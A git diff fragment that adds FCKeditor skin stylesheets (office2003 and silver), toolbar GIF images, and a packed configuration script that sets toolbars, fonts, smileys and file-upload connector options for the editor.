+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #f7f8fd;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Button_Off .TB_Text
+{
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+}
+
+.TB_Button_On_Over .TB_Text
+{
+       background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f8fd;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #d6dff7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #7096FA;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #466ca6;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #f7f8fd;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #f7f8fd;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #f7f8fd;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top: 2px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+/*    background-color:  inherit;     Maybe this is needed wait to check */
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
diff --git a/fckeditor/editor/skins/office2003/fck_strip.gif b/fckeditor/editor/skins/office2003/fck_strip.gif
new file mode 100755 (executable)
index 0000000..a7282f2
Binary files /dev/null and b/fckeditor/editor/skins/office2003/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif b/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.bg.gif b/fckeditor/editor/skins/office2003/images/toolbar.bg.gif
new file mode 100755 (executable)
index 0000000..b03960b
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.bg.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif b/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..d549166
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.end.gif b/fckeditor/editor/skins/office2003/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..7ff599d
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.expand.gif b/fckeditor/editor/skins/office2003/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..c4a7326
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.separator.gif b/fckeditor/editor/skins/office2003/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..27db9c3
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.start.gif b/fckeditor/editor/skins/office2003/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..41f1241
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.start.gif differ
diff --git a/fckeditor/editor/skins/silver/fck_dialog.css b/fckeditor/editor/skins/silver/fck_dialog.css
new file mode 100755 (executable)
index 0000000..9d7d47c
--- /dev/null
@@ -0,0 +1,140 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+       background-color: #f7f7f7;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f7f7f7;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       padding-right: 10px;
+       padding-left: 10px;
+       font-weight: bold;
+       font-size: 14pt;
+       padding-bottom: 3px;
+       color: #504845;
+       padding-top: 3px;
+       background-color: #dedede;
+}
+
+.PopupButtons
+{
+       border-top: #cec6b5 1px solid;
+       background-color: #DEDEDE;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border: #7a7261 1px solid;
+       color: #504845;
+       background-color: #cec6b5;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #504845;
+       background-color: #DEDEDE;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #cec6b5 1px solid;
+       border-top: #cec6b5 1px solid;
+       border-left: #cec6b5 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #504845;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #cec6b5 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f1f1e3 1px solid;
+       background-color: #f7f7f7;
+}
+
+.PopupSelectionBox
+{
+       border: #a9a9a9 1px solid !important;
+       background-color: #dcdcdc !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/silver/fck_editor.css b/fckeditor/editor/skins/silver/fck_editor.css
new file mode 100755 (executable)
index 0000000..21c7878
--- /dev/null
@@ -0,0 +1,478 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             gazou[Fr]
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+       padding: 1px 1px 1px 1px;
+       margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+       border: #696969 1px solid;
+}
+
+.SourceField
+{
+       padding: 5px;
+       margin: 0px;
+       font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+       background-color: #f7f7f7;
+}
+
+.TB_ToolbarSet
+{
+       padding: 1px;
+       border-top: #efefde 1px outset;
+       border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 21px;
+    margin: 2px;
+    background-color: #C6C3BD;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin-left: 2px;
+    margin-right: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 27px;
+    background-position: center center;
+}
+
+.TB_End
+{
+       display: none;
+}
+
+.TB_ExpandImg
+{
+       background-image: url(images/toolbar.expand.gif);
+       background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+       background-image: url(images/toolbar.collapse.gif);
+       background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+       background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+       padding: 2px 2px 2px 2px;
+       border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+       border: #efefde 1px outset;
+       width: 5px;
+}
+
+.TB_Break
+{
+       height: 27px;
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+       padding: 1px ;
+       margin:1px;
+       height: 21px;
+}
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+       border: #cec6b5 1px solid;
+}
+
+.TB_Button_On
+{
+       border-color: #316ac5;
+       background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+       background: #efefef url(images/toolbar.buttonbg.gif) repeat-x;
+}
+
+.TB_Button_Off, .TB_Combo_Off
+{
+       opacity: 0.70; /* Safari, Opera and Mozilla */
+       filter: alpha(opacity=70); /* IE */
+       /* -moz-opacity: 0.70; Mozilla (Old) */
+}
+
+.TB_Button_Disabled
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 21px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    margin-top: 4px;
+    margin-bottom: 2px;
+    background-repeat: no-repeat;
+}
+
+/* For composed button ( icon + text, icon + arrow ), we must compensate the table */
+.TB_Button_On TABLE .TB_Button_Image, 
+.TB_Button_Off TABLE .TB_Button_Image, 
+.TB_Button_On_Over TABLE .TB_Button_Image,
+.TB_Button_Off_Over TABLE .TB_Button_Image,
+.TB_Button_Disabled TABLE .TB_Button_Image
+{
+    margin-top: 3px;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f7f7;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #dedede;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8a857d;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #6c6761;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top:1px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    padding-top: 1px ;
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #f7f7f7;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #316ac5 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c1d2ee;
+}
diff --git a/fckeditor/editor/skins/silver/fck_strip.gif b/fckeditor/editor/skins/silver/fck_strip.gif
new file mode 100755 (executable)
index 0000000..d5ba74e
Binary files /dev/null and b/fckeditor/editor/skins/silver/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif b/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif b/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif
new file mode 100755 (executable)
index 0000000..a93ffca
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.collapse.gif b/fckeditor/editor/skins/silver/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..87aa56d
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.end.gif b/fckeditor/editor/skins/silver/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.expand.gif b/fckeditor/editor/skins/silver/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..79075e7
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.separator.gif b/fckeditor/editor/skins/silver/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..eaed04a
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.start.gif b/fckeditor/editor/skins/silver/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..1774246
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.start.gif differ
diff --git a/fckeditor/fckconfig-min.js b/fckeditor/fckconfig-min.js
new file mode 100755 (executable)
index 0000000..c1f63d5
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a.5u=d;a.2u=\'\';a.2A=a.f+\'Q/2o.Q\';a.2U=\'\';a.2p=\'\';a.2q=\'\';a.2k=d;a.2S=d;a.5v=c;a.C=a.f+\'14/m/\';a.17=[a.C+\'z/R.2Q.b\',a.C+\'z/R.5t.b\'];a.5s=a.f+\'5r/\';a.5q=5p;a.2M=c;a.2w=\'2x-5l\';a.5k=\'5j\';a.5i=c;a.5h=c;a.5g=c;a.5f=d;a.5e=\'\';a.5d=c;a.5c=c;a.5b=c;a.5a=\'    \';a.59=c;a.58=d;a.57=d;a.2P=d;a.55=c;a.54=d;a.53=0;a.52=c;a.51=d;a.50=c;a.4Z=c;a.4Y=c;a.4X=d;a.4W=4V;a.4U=c;a.4T=c;a.3l=\'4R\';a.Z["4Q"]=[[\'L\',\'-\'],[\'4P\',\'3N\',\'F\',\'4N\',\'4M\',\'-\'],[\'10\',\'H\',\'-\',\'4L\',\'4K\',\'-\',\'4J\'],\'/\',[\'s\',\'B\',\'K\'],[\'X\',\'I\',\'-\',\'42\',\'4H\'],[\'4G\',\'4F\',\'4E\',\'4D\'],[\'o\',\'N\']];a.Z["4i"]=[[\'s\',\'B\',\'-\',\'X\',\'I\',\'-\',\'o\',\'N\',\'-\',\'4x\']];a.4w=\'p\';a.4v=\'4p\';a.4r=[[e+4s,c],[e+4y,c],[e+4z,c],[e+4B,\'F\'],[12+45,\'F\'],[e+W,\'10\'],[e+4S,\'H\'],[e+12+W,\'H\'],[e+4h,\'o\'],[e+4g,\'s\'],[e+4e,\'B\'],[e+4c,\'K\'],[e+V+4a,\'49\'],[e+V+13,\'46\'],[e+9,\'L\']];a.41=[\'25\',\'o\',\'3Y\',\'D\',\'3X\',\'3W\',\'3V\',\'3U\',\'3T\',\'3S\',\'3R\',\'3Q\',\'20\',\'3O\',\'1Z\',\'3M\'];a.3L=\'3K,1X,3I,3H,3G,3F,3E,3D,3C,3B,3A,U,3z,3y,3x,U,3v,3u,3t,3s,1O,3q,1N,3o,1M,3m,1L,3k,1K,1J,1v,3g,1I,3e,1H,3c,1G,3a,39,38\';a.1D=\'36;1E 34 2g;32 S;2h;30 S 2Y;2m\';a.2W=\'1/11-v;2/x-v;3/v;4/2t;5/E;6/x-E;7/11-E\';a.2K=\'p;2I;2H;2E;2F;2L;2T;31;33;37\';a.3b=a.M+\'3h.P\';a.3i=a.M+\'3n.P\';a.3P=\'40\';a.43=\'48://4b.4f.Y/4j/4m/4n/4q/4t.J\';a.4A=\'4C-4O/56.n\';a.2e=15;a.2c=d;a.2b=c;a.2a=d;a.29=c;a.47=d;a.27=c;a.26=c;a.24=\'\';a.23=\'\';a.22=\'\';a.21=d;t j=\'n\';t g=\'n\';t l=j==\'1g\'?\'O\':j;a.1Y=d;a.1k=a.f+\'i/h/m/h.r?A=w/\'+j+\'/y.\'+l;a.1W=a.G*0.7;a.1V=a.u*0.7;a.1U=d;a.1T=a.f+\'i/h/m/h.r?q=T&A=w/\'+j+\'/y.\'+l;a.1S=a.G*0.7;a.1R=a.u*0.7;a.1Q=d;a.1P=a.f+\'i/h/m/h.r?q=D&A=w/\'+j+\'/y.\'+l;a.1A=a.G*0.7;a.1F=a.u*0.7;a.2i=d;a.2l=a.f+\'i/k/\'+g+\'/k.\'+g;a.2n="";a.2V=".(r|2R|n|2N|2y|2J|2C|2G|2X|35|3d|3j|3p|3Z|44|4d|4k|4o|J|Y|5m|2d|1b|1a|O|18|1d)$";a.1f=d;a.1h=a.f+\'i/k/\'+g+\'/k.\'+g+\'?q=T\';a.1l=".(1n|b|1o|1r|1s)$";a.1u="";a.1w=d;a.1B=a.f+\'i/k/\'+g+\'/k.\'+g+\'?q=D\';a.2O=".(2B|2Z)$";a.3f="";a.3r=a.f+\'z/4u/4I/\';a.1c=[\'28.b\',\'1e.b\',\'1i.b\',\'1m.b\',\'1p.b\',\'1t.b\',\'1x.b\',\'1C.b\',\'2j.b\',\'2r.b\',\'2v.b\',\'2D.b\',\'3w.b\',\'4l.b\',\'5n.b\',\'19.b\',\'1j.b\',\'1q.b\',\'1y.b\',\'2f.b\',\'2z.b\'];a.5o=8;a.1z=2s;a.16=3J;',62,342,'||||||||||FCKConfig|gif|true|false|CTRL|BasePath|_QuickUploadLanguage|browser|filemanager|_FileBrowserLanguage|upload|_FileBrowserExtension|default|php|Link||Type|html|Bold|var|ScreenHeight|small|connectors||connector|images|Connector|Italic|SkinPath|Flash|large|Paste|ScreenWidth|Redo|UnorderedList|exe|Underline|Source|EditorPath|Unlink|cgi|xml|css|toolbar|New|Image|808080|ALT|90|OrderedList|com|ToolbarSets|Undo|xx|SHIFT||skins||SmileyWindowHeight|PreloadImages|htaccess|thumbs_down|reg|js|SmileyImages|asis|sad_smile|ImageUpload|perl|ImageUploadURL|wink_smile|thumbs_up|LinkBrowserURL|ImageUploadAllowedExtensions|teeth_smile|jpg|jpeg|confused_smile|heart|png|bmp|tounge_smile|ImageUploadDeniedExtensions|993366|FlashUpload|embaressed_smile|broken_heart|SmileyWindowWidth|FlashBrowserWindowWidth|FlashUploadURL|omg_smile|FontNames|Comic|FlashBrowserWindowHeight|CCFFFF|FFFF99|FF99CC|00CCFF|00FFFF|FFFF00|FF00FF|800080|33CCCC|FlashBrowserURL|FlashBrowser|ImageBrowserWindowHeight|ImageBrowserWindowWidth|ImageBrowserURL|ImageBrowser|LinkBrowserWindowHeight|LinkBrowserWindowWidth|993300|LinkBrowser|Table|BulletedList|CleanWordKeepsStructure|BodyClass|BodyId|ProtectedTags|Generic|FlashDlgHideAdvanced|ImageDlgHideAdvanced|regular_smile|LinkDlgHideAdvanced|LinkDlgHideTarget|DisableFFTableHandles|DisableObjectResizing|vbs|MaxUndoLevels|kiss|MS|Tahoma|LinkUpload|whatchutalkingabout_smile|FullPage|LinkUploadURL|Verdana|LinkUploadAllowedExtensions|fck_editorarea|DocType|BaseHref|angry_smile|320|medium|CustomConfigurationsPath|angel_smile|DefaultLanguage|en|php3|envelope|EditorAreaCSS|swf|php5|shades_smile|address|h1|phtml|pre|div|p